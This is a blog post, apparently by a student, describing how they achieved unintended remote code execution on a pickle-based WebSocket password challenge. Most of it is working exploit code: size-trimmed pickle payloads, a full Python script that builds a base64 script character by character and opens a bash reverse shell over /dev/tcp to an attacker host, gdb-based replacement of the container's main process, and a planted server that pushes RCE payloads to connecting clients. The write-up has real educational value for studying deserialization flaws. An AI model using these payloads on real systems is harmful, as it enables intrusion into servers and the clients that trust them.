At the time of writing this post, I'm in school, learning about Cyber Security. We recently got an assignment to write a script that would brute force a password for a given challenge. I had experience in CTFs already, so this wasn't too hard. But looking at the code I realized a vulnerable function was used that might allow me to Remote Code Execution on the challenge! The problem was a strict character limit though, so after loads of attempts, I was finally able to get full RCE on the challenge (which wasn't intentional by the author). This post will explain my thought process and the final solution.

The Assignment

Note: The scripts are changed slightly and commented to make them simpler and easier to understand.

The assignment gives a simple docker container with a python script that accepts WebSocket connection. It reads the data and checks if the passwords are correct. If you want to follow along or try it yourself the challenge is available on docker hub, or just run the following command to download and run the server:

Shell

$ docker pull j0r1an/picklerce:latest

$ docker run -d -p 3840:3840 --name picklerce j0r1an/picklerce:latest

This container has the following script /tas/server.py:

Python

import asyncio, socket, traceback, websockets, pickle

class Server():
    def __init__(self):
        self.hostname = socket.gethostname()
        self.ip = socket.gethostbyname(self.hostname)
        self.port = '3840'

    def run(self):  # Start the server
        start_server = websockets.serve(self.server, self.ip, self.port, )
        print('starting up the server on {} port {}'.format(self.ip, self.port))
        asyncio.get_event_loop().run_until_complete(start_server)
        asyncio.get_event_loop().run_forever()

    async def server(self, websocket, path):  # On new connection
        async for message in websocket:
            # Unpack message
            try:
                # Read message and pass to core methods
                reply = await self.process_input(message)
                reply = pickle.dumps(reply)
            except Exception as err:
                print("err", err, traceback.format_exc())
            await websocket.send(reply)
    
    async def process_input(self, request):  # Check credentials
        try:
            if len(request) > 40:
                return 'ERROR: Too much data'
            username, password = pickle.loads(request)
            
            if username == "j0r1an" and password == "hunter2":
                return 'ACCESS GRANTED'
            else:
                return 'Wrong username or password!'

        except Exception as err:
            print('ERROR: Error in processing input: {} {}\
\
            Please stick to the provided format.'.format(type(err).__name__, traceback.format_exc()))
            return 'Error'

ServerThread = Server()
ServerThread.run()

We were also given a starting point for the attacking script. This simply contains a function to connect to the server and try a username and password.

Python

import asyncio, websockets
import pickle
from time import sleep

async def client_connect(username, password):
    while True:
        try:
            async with websockets.connect("ws://127.0.0.1:3840") as websocket:
                await websocket.send(pickle.dumps([username,password]))
                reply = await websocket.recv()
            return pickle.loads(reply)
        except:
            continue

def call_server(username, password):
    reply = asyncio.get_event_loop().run_until_complete(client_connect(username,password))
    sleep(0.001)
    return reply

# Test basic server connectivity & functionality
print(call_server('user', 'pass'))
print(call_server('j0r1an', 'hunter2'))

Pickle Deserialization

Looking at the server script we can see that the pickle.loads() function is used to deserialize the data. This takes a string and returns a python object, useful for sending complex data structures. The problem here is the fact that pickle is vulnerable to Remote Code Execution if this data is controlled by the user, which in this case it is. This can be found easily by looking at the security warning in the official documentation:

When deserializing using pickle, a __reduce__() method is called. This method returns a tuple of the form (function, args). function is the function that will be called to reconstruct the object. args is a tuple of arguments that will be passed to the function. This reduce method gets called when deserializing on the server-side, meaning we can let the server call any function we want with any arguments. This is a huge vulnerability because we can use something like os.system() to execute arbitrary commands on the server.

To exploit a vulnerability like this, you need to make a class with this __reduce__() method. Then make this method return the function and arguments you want to execute anything on the server. Here is an example that would execute id on the server:

Python

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ("id",))

data = pickle.dumps(RCE())
call_server(data)

With this exploit we are not sending a username or password, so we'll need to change the send function a bit to allow us to send any form of data.

Python

async def client_connect(data):
    while True:
        try:
            async with websockets.connect("ws://127.0.0.1:3840") as websocket:
                await websocket.send(data)
                reply = await websocket.recv()
            return pickle.loads(reply)
        except:
            continue

def call_server(data):
    reply = asyncio.get_event_loop().run_until_complete(client_connect(data))
    sleep(0.001)
    return reply

This will actually run the id command on the server, but the problem comes when we want to send longer commands. If we check the len(data) we can see that this command is exactly 40 characters long. This is a problem because the server will only accept payloads of 40 characters or less. This means we need to use some tricks to make space for longer commands.

Expanding the character limit

Using pickletools.dis(data) we can display the pickle data in a human-readable format. This is useful for debugging.

Text

    0: \x80 PROTO      4
    2: \x95 FRAME      29
   11: \x8c SHORT_BINUNICODE 'posix'
   18: \x94 MEMOIZE    (as 0)
   19: \x8c SHORT_BINUNICODE 'system'
   27: \x94 MEMOIZE    (as 1)
   28: \x93 STACK_GLOBAL
   29: \x94 MEMOIZE    (as 2)
   30: \x8c SHORT_BINUNICODE 'id'
   34: \x94 MEMOIZE    (as 3)
   35: \x85 TUPLE1
   36: \x94 MEMOIZE    (as 4)
   37: R    REDUCE
   38: \x94 MEMOIZE    (as 5)
   39: .    STOP

Here we can see that pickle contains our posix (os), system and the id command. But surrounding it, there is quite a lot of extra data to specify the format. After looking around in the pickle documentation I found that there are multiple protocols you can use. In the pickle.dumps() function we can specify a protocol= keyword argument to specify the protocol. This is a number between 0 and 5. Looking at all of these protocols the payload can get a lot shorter:

Text

protocol=0                         protocol=1 (shortest)               protocol=2                          protocol=3                          protocol=4 (default)
 0: c  GLOBAL   'posix system'      0: c  GLOBAL   'posix system'       0: \x80 PROTO    2                  0: \x80 PROTO    3                  0: \x80 PROTO    5
14: p  PUT      0                  14: q  BINPUT   0                    2: c    GLOBAL   'posix system'     2: c    GLOBAL   'posix system'     2: \x95 FRAME    29
17: (  MARK                        16: (  MARK                         16: q    BINPUT   0                 16: q    BINPUT   0                 11: \x8c SHORT_BINUNICODE 'posix'
18: V    UNICODE  'id'             17: X    BINUNICODE 'id'            18: X    BINUNICODE 'id'            18: X    BINUNICODE 'id'            18: \x94 MEMOIZE  (as 0)
22: p    PUT      1                24: q    BINPUT     1               25: q    BINPUT  1                  25: q    BINPUT   1                 19: \x8c SHORT_BINUNICODE 'system'
25: t    TUPLE    (MARK at 17)     26: t    TUPLE      (MARK at 16)    27: \x85 TUPLE1                     27: \x85 TUPLE1                     27: \x94 MEMOIZE  (as 1)
26: p  PUT      2                  27: q  BINPUT   2                   28: q    BINPUT  2                  28: q    BINPUT   2                 28: \x93 STACK_GLOBAL
29: R  REDUCE                      29: R  REDUCE                       30: R    REDUCE                     30: R    REDUCE                     29: \x94 MEMOIZE  (as 2)
30: p  PUT      3                  30: q  BINPUT   3                   31: q    BINPUT  3                  31: q    BINPUT   3                 30: \x8c SHORT_BINUNICODE 'id'
33: .  STOP                        32: .  STOP                         33: .    STOP                       33: .    STOP                       34: \x94 MEMOIZE  (as 3)
len(data)=34                       len(data)=33                        len(data)=34                        len(data)=34                        35: \x85 TUPLE1
                                                                                                                                               36: \x94 MEMOIZE    (as 4)
                                                                                                                                               37: R    REDUCE
                                                                                                                                               38: \x94 MEMOIZE    (as 5)
                                                                                                                                               39: .    STOP
                                                                                                                                               len(data)=40

Here we can see that protocol=1 is the shortest, with a total of only 33 characters. This means we can add 7 more characters before we reach our limit of 40 again. So now the question is, can we do anything with 9 characters in bash?

Long story short, not really (that I know of). But we might still be able to do a little better in the pickle format. Something weird to me was the fact that posix system is passed when using os.system(). I expected to just see os instead of posix. At some point I thought to myself, what if I just used os system in the pickle payload, maybe the server will figure it out still? So that's what I did. Taking the raw payload, and just replacing posix with os:

Python

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ("id",))

data = pickle.dumps(RCE(), protocol=1)
data = data.replace(b"posix", b"os")  # <-- Replacing 'posix system' with 'os system'
pickletools.dis(data)
call_server(data)

And sending this to the server, it still worked to my surprise! This means another 3 characters were shaved off, and now we have a total of 12 characters to work with. This turned out to be exactly enough to get full RCE.

Bash Tricks

Now that we have 12 characters to execute bash commands, we can get started on some ideas to execute any commands we want, like a reverse shell. 12 characters might sound like a lot, but you'll notice it's way less than you might think.

One idea I had was to somehow create a script character by character and then execute all of it at the end. We can use something like echo a >s (9) to put an a character in the file called s. Then we can use echo b >>s (10) to append the b character to the s file. This allows us to slowly build up a script character by character. One problem though is the fact that newlines get added every time we use echo. Not many languages allow for newlines everywhere, so we need to think of something else.

After a while, I thought of using base64, because the command-line tool in Linux allows for any whitespace or newlines in between, and will just ignore it. Another plus is that all the characters we need to send are in the base64 alphabet, so we don't have to worry about quotes and other special characters.

Bash

echo S >>s
echo G >>s
echo V >>s
echo 5 >>s

Results in a file s with the following content:

Text

S
G
V
5

We can easily build the whole file we want, but now we just need to decode it into the script we want to execute. Normally you would use something like base64 -d s>d (13) to decode the file, but since we can only use a max of 12 character commands, this is barely too long. The problem is the fact that base64 is a relatively long command name. If we could somehow rename this command to something shorter, we could use it to decode the file.

I tried to use variables or aliases, but unfortunately, these get cleared every time we execute a new command. So we can't use these to shorten future commands. But as you likely know, most commands are just Linux binaries stored on the filesystem. On the server, base64 is located at /usr/bin/base64 (15). This might not seem useful because it's too long, but we can move this file into a closer directory, so we can execute it with a shorter name. But to move this, we need to specify the location from where it needs to grab the file. /usr/bin/base64 is way too long, but we can use some bash tricks to shorten it. Using the * wildcard character, we can do something like /*/*/*4 (7) to get all files two directories deep, ending in 4. This will include a couple of other files that we don't need, but we can just ignore them. So using cp /*/*/*4 / (12) we can copy the base64 binary to the root directory.

After this, we have the base64 binary in /. We can now rename it to something like b to shorten it. We can use more bash wildcards (*) to accomplish this: cp /b*4 /b (10). This will make /b the new base64 binary.

After all this, we can now decode the script using /b -d s>d (9). This will create the d file which is the base64 decoded form of the script, meaning it can contain any code we want. If we make this a bash script, we can eventually execute it using bash d.

All combined the commands we need to execute are the following:

Shell

cp /*/*/*4 /  # Copy base64 binary to root directory
cp /b*4 /b    # Rename base64 binary to b
/b -d s>d     # Decode script
bash d        # Execute script

Full RCE on the Server

It's very tedious to write the base64 script character by character, so using Python I automated this. This code takes a bash script, and puts it into a file on the server character by character, then decodes it, and finally executes the script.

Python

import asyncio, websockets
import pickle
import pickletools
from base64 import b64encode
from time import sleep
import sys

if len(sys.argv) <= 2:
    print(f"Usage: python3 {sys.argv[0]} <remote> <local>")
    exit(1)
else:
    rhost, rport = sys.argv[1].split(":")
    lhost, lport = sys.argv[2].split(":")
    print(f"[ ] Remote: {rhost} {rport}")
    print(f"[ ] Local: {lhost} {lport}")

# Create script to run
script = f"""
echo "Pwned by J0R1AN :)" > /tmp/pwned
/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
""".encode()

base64script = b64encode(script).replace(b"=", b"").decode()

async def connect(data):
    server_address = f"ws://{rhost}:{rport}"
    while True:
        try:
            async with websockets.connect(server_address) as websocket:
                await websocket.send(data)
                reply = await websocket.recv()
            return reply
        except:
            continue

def send(data):
    reply = asyncio.get_event_loop().run_until_complete(connect(data))
    sleep(0.001)
    return reply

def run(command):  # Run an os command with pickle insecure deserialization
    class RCE:
        def __reduce__(self):
            import os
            return (os.system, (command,))

    data = pickle.dumps(RCE(), protocol=1)
    data = data.replace(b"posix", b"os")
    return send(data)

# Remove old files
print("[~] Removing old files...")
run("rm s b d")  # s = script, b = base64, d = decoded

# Send script character by character
print("[~] Sending ", end="")
for c in base64script:
    print(c, end="")
    sys.stdout.flush()
    run(f"echo {c} >>s")
print()

# Execute script
print("[~] Executing script...")
run("cp /*/*/*4 /")
run("cp /b*4 /b")
run("/b -d>d<s")  # Decode base64
pickletools.dis(run("bash d"))  # Execute script, and show response

print("[+] Done!")

This script accepts a remote host, and the address the server is going to connect to with the reverse shell. Something like python rce.py 127.0.0.1:3840 6.tcp.ngrok.io:15531 will connect to the ngrok server that you set up with a listener (nc -lnvp 4444).

RCE on the Clients

As if Remote Code Execution was not enough, we can also exploit the same vulnerability on the clients. Because in the template script we needed to use for the assignment, pickle.loads() gets called on the reply from the server.

Python

async def client_connect(username, password):
    while True:
        try:
            async with websockets.connect("ws://127.0.0.1:3840") as websocket:
                await websocket.send(pickle.dumps([username,password]))
                reply = await websocket.recv()
            return pickle.loads(reply)  # <-- Insecure deserialization
        except:
            continue

Normally this wouldn't be such an issue because we can trust the server, but in this case, where the server is compromised an attacker can replace the running script with one that will send a malicious response back to the client.

If we take the server script, we can alter the process_input() function to always reply with an RCE payload. This proof of concept just executes calc.exe to open a calculator on the client, but this could of course be any commands you want to execute.

Python

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('echo "Pwned by J0R1AN :)" && calc.exe',))

async def process_input(self, request):
    return RCE()

Now we just need to get this script running on the server, which turned out to be a little difficult. Because if we just run the script as-is, it will give an error because the 3840 port is already in use. So we somehow need to stop the already running script, and then start our new one.

The hard part is, if we just kill the script, the whole docker container gets killed because the main process stopped. A way to get around this would be to replace the running process with something like sleep 999999 to make sure it stops the python script but keeps the main process running.

Looking at the running processes, we can see the process with PID 1 which is running /bin/sh with the python script running. This is the process docker is waiting on, so we can't directly kill it. Below we also see the python3 process with the script. This is the thing we need to kill.

Shell

$ ps alx
F   UID   PID  PPID  TIME COMMAND
4     0     1     0  0:00 /bin/sh -c python3 /tas/server.py
4     0     8     1  0:00 python3 /tas/server.py
...

But again, to make sure the docker container stays alive we need to replace process 1 with a sleep command. After looking around a bit online, I found the following script to do this (Source).

Bash

#!/bin/sh
set -e

help_and_exit () {
  cat <<EOF
Usage: $0 PID COMMAND [ARG...]
Use gdb to replace the running process PID by the specified command.
EOF
  exit $1
}
if [ "$1" = "--help" ]; then
  help_and_exit
elif [ $# -lt 2 ]; then
  help_and_exit 120 >&2
fi

pid=$1; shift

# Quote the command path and the arguments as a C string.
args=
add_arg () {
  args="$args\""
  while case "$1" in *[\\\"]*) true;; *) false;; esac; do
    set -- "${1#*[\\\"]}" "${1%"${1#*[\\\"]}"}"
    args="$args${2%?}\\${2#"${2%?}"}"
  done
  args="$args$1\", "
}
add_arg "$1"
args="$args$args"; shift
for x; do
  add_arg "$x"
done
args="${args}(char*)0"

gdb -n -pid "$pid" -batch -ex "call execlp($args)"

We can use this script like bash replace.sh PID COMMAND [ARG...] to replace the process with the specified command. In our case, this would be bash replace.sh 1 sleep 999999. This will open the process in GDB, replaced with the sleep command. But to continue our exploit we need to detach from it and keep the process running. A way to do this is to run the first replace.sh script in the background using & at the end. Then we can kill the gdb process we created to detach it.

Shell

bash /replace.sh 1 sleep 999999 &
pkill gdb

If we check ps again, we can see the main process is replaced with the sleep command.

Shell

$ ps alx
F   UID   PID  PPID  TIME COMMAND
4     0     1     0  0:00 sleep 999999
4     0     8     1  0:17 python3 /tas/server.py
0     0  7120     1  0:00 [bash] <defunct>
1     0  7137     1  0:00 [gdb] <defunct>
...

Now we can easily kill the python script without shutting down the server and run our own.

Shell

pkill python3
python3 /server_new.py

One last thing is how we might get these scripts replace.sh and server_new.py on the server. One simple way is to encode them in base64, and then just decode them into a file like this:

Bash

echo "cmVwbGFjZS5zaA==" | base64 -d > /replace.sh
echo "c2VydmVyX25ldy5weQ==" | base64 -d > /server_new.py

Conclusion

All of this together means that an attacker can compromise the server with the Remote Code Execution, replace the running script with one that will send a malicious response back to the client, and then compromise anyone trying to connect to the server.

It was a lot of fun trying to get this working because I knew it was vulnerable, but I wasn't sure if it was actually exploitable. Turns out it was and after hours of trying ideas, I was able to get it working.